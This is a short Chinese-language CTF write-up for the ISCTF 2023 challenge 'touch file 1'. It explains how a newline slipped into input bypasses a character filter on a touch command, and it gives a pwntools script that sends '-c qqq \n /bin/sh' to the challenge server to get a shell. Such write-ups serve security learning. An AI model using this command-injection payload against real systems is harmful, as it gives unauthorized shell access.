isctf2023 - touch file 1

RocketDev

文件分析

保护全开
ghidra分析为64位程序

解题思路

考察命令注入,进入touch后存在字符检查,把大部分字符都ban了, 但是想到平时输命令都是按回车执行的,那么利用换行能不能结束touch命令呢?

给新手提个醒,read函数虽然是按'\n'截断输入的,但是将'\n'包含在payload中发送过去时, 只要不是最后一个字符,就不会被截断

测试一下,成功拿到shell

EXPLOIT

1
2
3
4
5
6
7
from pwn import *
sh = remote('43.249.195.138', 20440)
sh.sendline(b'1')

sh.sendline(b'-c qqq \n /bin/sh')

sh.interactive()

Done.

  • 标题: isctf2023 - touch file 1
  • 作者: RocketDev
  • 创建于 : 2023-12-04 12:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2023/12/04/touch_file1/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
isctf2023 - touch file 1